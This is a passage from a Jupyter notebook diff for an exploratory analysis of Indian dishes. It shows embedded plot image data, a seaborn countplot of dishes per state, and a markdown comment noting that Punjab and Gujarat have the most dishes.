BYqTjahfKM16Ah1P7plM4qa3T8N/KahNfZURAyjhtwArkI7L/9EvT+fBX5aHtoXvSTueTEzs4FQbhstRc2pK1DS7ktRwu5rgA9l5sNtb1adj6pZOSLWA59HTcl3AtvQEMq9bZ1f9FRcvJiZmXVUrXgZQQXadrTjOoZ64I6UjzGU/bI9Mw81td658rGRmZkNlIh4A9qBmUS9HpPAVGZmowvrgVoPzx3AL1Guy5nMTJg/HdUCx9GO1BpUxLSaixczMxsIpWj5Dnrt+1f5OB34Mypi1ja3ut7KzP9Mly9pu2cBz0VhdUtQxssy4LFGFjhPLl7MzKzzImIpM8Fs29CMo48CFwPvQzsTA6HMM5tCDct9qS/uc5uZmZ2MiBgqv3w5GpnxKWAv8HhmfgP4OLAVuK+RBdpJcfFiZmZdVhUvy4F95WbNK4B9EbGk7EI8BHwGlMbbzDJtPly8mJnZIDgG7I2Ic1C+yXHgyog4D/W67C6PGzrBn7cWcfFiZmadVbtt8yDwVdScugP1vGwAfgycB3yzPM75IX3AOS9mZtZZEbEEFSQT9eC5Elj3DlS4/CQzf9vQEu0kuHgxM7POqYWzbQIuBf6OwtgmgIPl97tRONvx8rnd/RDQZi5ezMyswyLiWmAVigZ5HgpoGwbOABaXz0+jYLbfATdl5qPNrNbmysWLmZkNhKcIZzsbXaO+Dvg9cHVm9m0GyiBw8WJmZp01nyGLEXEu8ADw2sz8R29XZqfCCbtmZtZZT1e41ELshoBRNHH5iV6vy06Nd17MzMysrzjnxczMzPqKixczMzPrKy5ezMzMrK+4eDEzM7O+8m82lNSwJl193gAAAABJRU5ErkJggg==", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "sns.countplot(x=df1.state)\n", + "plt.xticks(rotation=85);\n", + "plt.title('Statewise number of Indian dishes')\n", + "plt.xlabel(None);" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "ICbbSZrNdcuJ" + }, + "source": [ + "From this graph we can clearly see the which state of India has more number of dishes.\n", + "\n", + "Punjab has the highest number of dishes about 30 dishes.\n", + "\n", + "Closely followed by Gujarat having the second highest number of dishes about 29 dishes.\n", + "\n", + "And states like Nagaland, Jammu & Kashmir, Uttarakhand, Manipur, Chhattisgarh have very few dishes." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 362 + }, + "id": "cDt91ykzaxU_", + "outputId": "ae6736be-653f-4376-8a1a-5e800126a5f2" + }, + "outputs": [ + { + "data": { + "image/png": "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